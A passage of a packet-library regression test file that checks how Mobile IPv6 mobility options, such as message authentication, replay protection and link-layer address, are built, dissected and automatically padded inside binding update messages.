basic dissection p = MIP6OptMsgAuth('\x09\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA') p.otype == 9 and p.olen == 17 and p.subtype == 1 and p.mspi == 0 and p.authdata == "A"*12 = MIP6OptMsgAuth - build with specific values str(MIP6OptMsgAuth(authdata="B"*16, mspi=0xeeeeeeee, subtype=0xff)) == '\t\x15\xff\xee\xee\xee\xeeBBBBBBBBBBBBBBBB' = MIP6OptMsgAuth - dissection with specific values p = MIP6OptMsgAuth('\t\x15\xff\xee\xee\xee\xeeBBBBBBBBBBBBBBBB') p.otype == 9 and p.olen == 21 and p.subtype == 255 and p.mspi == 0xeeeeeeee and p.authdata == "B"*16 + Mobility Options - Replay Protection = MIP6OptReplayProtection - basic build str(MIP6OptReplayProtection()) == '\n\x08\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6OptReplayProtection - basic dissection p = MIP6OptReplayProtection('\n\x08\x00\x00\x00\x00\x00\x00\x00\x00') p.otype == 10 and p.olen == 8 and p.timestamp == 0 = MIP6OptReplayProtection - build with specific values str(MIP6OptReplayProtection(olen=42, timestamp=(52*31536000)<<32)) == '\n*a\xbev\x00\x00\x00\x00\x00' = MIP6OptReplayProtection - dissection with specific values p = MIP6OptReplayProtection('\n*a\xbev\x00\x00\x00\x00\x00') p.otype == 10 and p.olen == 42 and p.timestamp == 7043196609626112000L + Mobility Options - CGA Parameters = MIP6OptCGAParams + Mobility Options - Signature = MIP6OptSignature + Mobility Options - Permanent Home Keygen Token = MIP6OptHomeKeygenToken + Mobility Options - Care-of Test Init = MIP6OptCareOfTestInit + Mobility Options - Care-of Test = MIP6OptCareOfTest + Mobility Options - Automatic Padding - MIP6OptBRAdvice = Mobility Options - Automatic Padding - MIP6OptBRAdvice a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptBRAdvice()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x02\x02\x00\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x02\x02\x00\x00\x01\x04\x00\x00\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x02\x02\x00\x00\x01\x04\x00\x00\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x00\x02\x02\x00\x00\x01\x02\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x02\x02\x00\x00\x01\x02\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x02\x02\x00\x00\x01\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x02\x02\x00\x00\x01\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptAltCoA = Mobility Options - Automatic Padding - MIP6OptAltCoA a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptAltCoA()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptAltCoA()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptAltCoA()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptAltCoA()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x05\x00\x00\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptAltCoA()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x04\x00\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptAltCoA()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x01\x03\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptAltCoA()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptAltCoA()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptAltCoA()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptNonceIndices = Mobility Options - Automatic Padding - MIP6OptNonceIndices a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptNonceIndices()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptNonceIndices()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x04\x10\x00\x00\x00\x00\x01\x02\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptNonceIndices()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x04\x10\x00\x00\x00\x00\x01\x02\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptNonceIndices()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x00\x04\x10\x00\x00\x00\x00\x01\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptNonceIndices()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x04\x10\x00\x00\x00\x00\x01\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptNonceIndices()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptNonceIndices()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptNonceIndices()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptNonceIndices()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptBindingAuthData = Mobility Options - Automatic Padding - MIP6OptBindingAuthData a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptBindingAuthData()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptBindingAuthData()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x03\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptBindingAuthData()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x02\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptBindingAuthData()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x01\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptBindingAuthData()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptBindingAuthData()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptBindingAuthData()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptBindingAuthData()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptBindingAuthData()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptMobNetPrefix = Mobility Options - Automatic Padding - MIP6OptMobNetPrefix a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptMobNetPrefix()])) == ';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x05\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x04\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x03\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x02\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x01\x01\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptLLAddr = Mobility Options - Automatic Padding - MIP6OptLLAddr a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptLLAddr()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptLLAddr()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptLLAddr()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptLLAddr()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptLLAddr()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptLLAddr()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptLLAddr()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptLLAddr()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptLLAddr()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptMNID = Mobility Options - Automatic Padding - MIP6OptMNID a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptMNID()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x08\x01\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMNID()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x08\x01\x01' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptMNID()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x08\x01\x01\x01\x05\x00\x00\x00\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptMNID()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x08\x01\x01\x01\x04\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptMNID()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x08\x01\x01\x01\x03\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptMNID()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x08\x01\x01\x01\x02\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptMNID()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x08\x01\x01\x01\x01\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptMNID()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x08\x01\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptMNID()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x08\x01\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptMsgAuth = Mobility Options - Automatic Padding - MIP6OptMsgAuth a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptMsgAuth()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMsgAuth()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptMsgAuth()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptMsgAuth()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptMsgAuth()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptMsgAuth()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptMsgAuth()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptMsgAuth()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptMsgAuth()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptReplayProtection = Mobility Options - Automatic Padding - MIP6OptReplayProtection a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptReplayProtection()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptReplayProtection()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x03\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptReplayProtection()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x02\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptReplayProtection()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x01\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptReplayProtection()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptReplayProtection()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptReplayProtection()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptReplayProtection()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptReplayProtection()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptCGAParamsReq = Mobility Options - Automatic Padding - MIP6OptCGAParamsReq a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptCGAParamsReq()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0b\x00\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCGAParamsReq()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0b\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptCGAParamsReq()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0b\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptCGAParamsReq()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0b\x00\x01\x05\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptCGAParamsReq()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0b\x00\x01\x04\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptCGAParamsReq()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0b\x00\x01\x03\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptCGAParamsReq()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0b\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptCGAParamsReq()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0b\x00\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptCGAParamsReq()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0b\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptCGAParams = Mobility Options - Automatic Padding - MIP6OptCGAParams a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptCGAParams()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0c\x00\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCGAParams()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0c\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptCGAParams()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0c\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptCGAParams()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0c\x00\x01\x05\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptCGAParams()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0c\x00\x01\x04\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptCGAParams()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0c\x00\x01\x03\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptCGAParams()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0c\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptCGAParams()])) 